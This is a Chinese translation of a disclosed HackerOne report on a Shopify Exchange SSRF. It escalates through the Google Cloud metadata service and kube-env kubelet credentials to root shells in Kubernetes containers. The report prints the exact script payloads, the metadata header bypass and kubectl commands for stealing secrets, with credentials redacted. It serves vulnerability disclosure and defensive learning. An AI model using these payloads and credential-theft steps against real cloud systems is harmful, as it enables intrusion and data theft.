本文源于hackerone漏洞报告:https://hackerone.com/reports/341876

概要

Shopify 基础架构被隔离为基础架构的子集。@0xacb报告说,通过利用 Shopify Exchange 屏幕截图功能中的服务器端请求伪造漏洞,可以获得对某个特定子集中的任何容器的 root 访问权限。在收到报告的一个小时内,我们禁用了易受攻击的服务,开始审核所有子集中的应用程序并在我们所有的基础设施中进行修复。

在审核了所有服务后,我们的修复方案是:通过部署元数据隐藏代理来禁用对元数据信息的访,我们还禁用了对所有基础设施子集的内部 IP 的访问。我们给予@0xacb 25,000 美元作为赏金,因为该子集中的某些应用程序确实可以访问某些 Shopify 核心数据和系统。

--- Shopify

漏洞详情

步骤一:访问 Google Cloud 元数据

1:创建商店(partners.shopify.com)

2:编辑模板password.liquid,添加如下内容:

<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";
// iframe 在这里不起作用,因为 Google Cloud 设置了 `X-Frame-Options: SAMEORIGIN` 标头。
</script>

3:转到https://exchange.shopify.com/create-a-listing并安装 Exchange 应用程序

4:等待店铺截图出现在 Create Listing 页面上

5:下载PNG并使用图像编辑软件打开或将其转换为JPEG(Chrome显示黑色PNG)

在 Google Cloud 实例中探索 SSRF 需要一个特殊的header(标头)。但是,我在阅读文档时发现“绕过”它的非常简单的方法:/v1beta1端点仍然可用,不需要Metadata-Flavor: Google标头并且仍然返回相同的令牌。

我试图泄露更多数据,但网络截图软件没有生成任何application/text响应图像。但是,我发现我可以添加参数alt=json来强制application/json响应。我设法泄露了更多数据,例如不完整的 SSH 公钥列表(包括电子邮件地址)、项目名称、实例名称等:

<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json";
</script>

但是不能使用泄露的令牌添加我的 SSH 密钥:

curl -X POST "https://www.googleapis.com/compute/v1/projects/███/setCommonInstanceMetadata" -H "Authorization: Bearer ██████████████" -H "Content-Type: application/json" --data '{"items": [{"key": "0xACB", "value": "test"}]}'
{
 "error": {
  "errors": [
   {
    "domain": "global",
    "reason": "forbidden",
    "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/███████'"
   },
   {
    "domain": "global",
    "reason": "forbidden",
    "message": "Required 'iam.serviceAccounts.actAs' permission for 'projects/███████'"
   }
  ],
  "code": 403,
  "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/████████'"
 }
}

我检查了此令牌的范围,并且没有对 Compute Engine API 的读/写访问权限:

curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=██████████████████"
{
 "issued_to": "███████",
 "audience": "███",
 "scope": "https://www.googleapis.com/auth/cloud-platform",
 "expires_in": 1307,
 "access_type": "offline"
}

步骤二:转储 kube-env

我创建了一个新商店并递归地从此实例中提取属性:
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json

元数据隐藏(https://cloud.google.com/kubernetes-engine/docs/how-to/metadata-concealment)未启用,因此该kube-env属性可用。

由于图像被裁剪,我向:http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json提出了一个新请求,以便查看 Kubelet 证书的其余部分和Kubelet 私钥。

ca.crt

-----BEGIN CERTIFICATE-----
██████
███████
███████
████████
██████████████
████████
████████
███████
████
██████
███
█████████
████
████
████████
███████
███
-----END CERTIFICATE-----

client.crt

-----BEGIN CERTIFICATE-----
█████
███████
██████
████████
██████████
█████
██████
█████
█████
██████████
███████
█████
████
████
████████
████████
-----END CERTIFICATE-----

client.pem

-----BEGIN RSA PRIVATE KEY-----
█████████
██████
████████
████
████
█████████
██████████
██████
████████
█████████
██████
██████████
███
██████████
███
██████
█████████
████████
██████████
█████████
████
████
████████
████
███████
-----END RSA PRIVATE KEY-----

则MASTER_NAME:█████

步骤三:使用 Kubelet 执行任意命令

可以列出所有 pod

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get pods --all-namespaces

NAMESPACE                                   NAME                                                              READY     STATUS             RESTARTS   AGE
████████                    ██████████                    1/1    

并创建新的 pod:

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://████████ create -f https://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yaml

pod "shell-demo" created
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████████ delete pod shell-demo

pod "shell-demo" deleted

我没有尝试删除正在运行的 pod,显然,我不确定是否可以使用 user 删除它们████████。但是,无法在这个新 pod 或任何其他 pod 中执行命令:

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://█████████ exec -it shell-demo -- /bin/bash

Error from server (Forbidden): pods "shell-demo" is forbidden: User "███" cannot create pods/exec in the namespace "default": Unknown user "███"

该get secrets命令不起作用,但可以提供给定的 pod 并使用其名称获取秘密。这就是我使用████命名空间中的实例泄露 kubernetes.io 服务帐户令牌的方式████:

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://███ describe pods/█████ -n █████████

Name:           ████████
Namespace:      ██████
Node:           ██████████
Start Time:     Fri, 23 Mar 2018 13:53:13 +0000
Labels:         █████
                ████
                █████
Annotations:    <none>
Status:         Running
IP:             █████████
Controlled By:  █████
Containers:
  default-http-backend:
    Container ID:   docker://███
    Image:          ██████
    Image ID:       docker-pullable://█████
    Port:           ████/TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Sun, 22 Apr 2018 03:23:09 +0000
    Last State:     Terminated
      Reason:       Error
      Exit Code:    2
      Started:      Fri, 20 Apr 2018 23:39:21 +0000
      Finished:     Sun, 22 Apr 2018 03:23:07 +0000
    Ready:          True
    Restart Count:  180
    Limits:
      cpu:     10m
      memory:  20Mi
    Requests:
      cpu:        10m
      memory:     20Mi
    Liveness:     http-get http://:███/healthz delay=30s timeout=5s period=10s #success=1 #failure=3
    Environment:  <none>
    Mounts:
      ██████
Conditions:
  Type           Status
  Initialized    True
  Ready          True
  PodScheduled   True
Volumes:
 ██████████:
    Type:        Secret (a volume populated by a Secret)
    SecretName: ███████
    Optional:    false
QoS Class:       Guaranteed
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute for 300s
                 node.kubernetes.io/unreachable:NoExecute for 300s
Events:          <none>
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get secret███████ -n ███████ -o yaml

apiVersion: v1
data:
  ca.crt: ██████████
  namespace: ████
  token: ██████████==
kind: Secret
metadata:
  annotations:
    kubernetes.io/service-account.name: default
    kubernetes.io/service-account.uid: ████
  creationTimestamp: 2017-01-23T16:08:19Z
  name:█████
  namespace: ██████████
  resourceVersion: "115481155"
  selfLink: /api/v1/namespaces/████████/secrets/████
  uid: █████████
type: kubernetes.io/service-account-token

最后,可以使用此令牌在任何容器中获取shell:

$ kubectl --certificate-authority ca.crt --server https://████ --token "█████.██████.███" exec -it w█████████ -- /bin/bash

Defaulting container name to web.
Use 'kubectl describe pod/w█████████' to see all of the containers in this pod.
███████:/# id
uid=0(root) gid=0(root) groups=0(root)
█████:/# ls
app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var
bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr
███████:/# exit
$ kubectl --certificate-authority ca.crt --server https://███████ --token "█████.██████.█████████" exec -it ████████ -n ████████ -- /bin/bash

Defaulting container name to web.
Use 'kubectl describe pod/█████ -n █████' to see all of the containers in this pod.
root@████:/# id
uid=0(root) gid=0(root) groups=0(root)
root@████:/# ls
app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var
bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr
root@█████:/# exit

影响

  • 可以绕过网络访问控制访问内部服务
  • 可以访问到谷歌云元数据
    说点什么吧...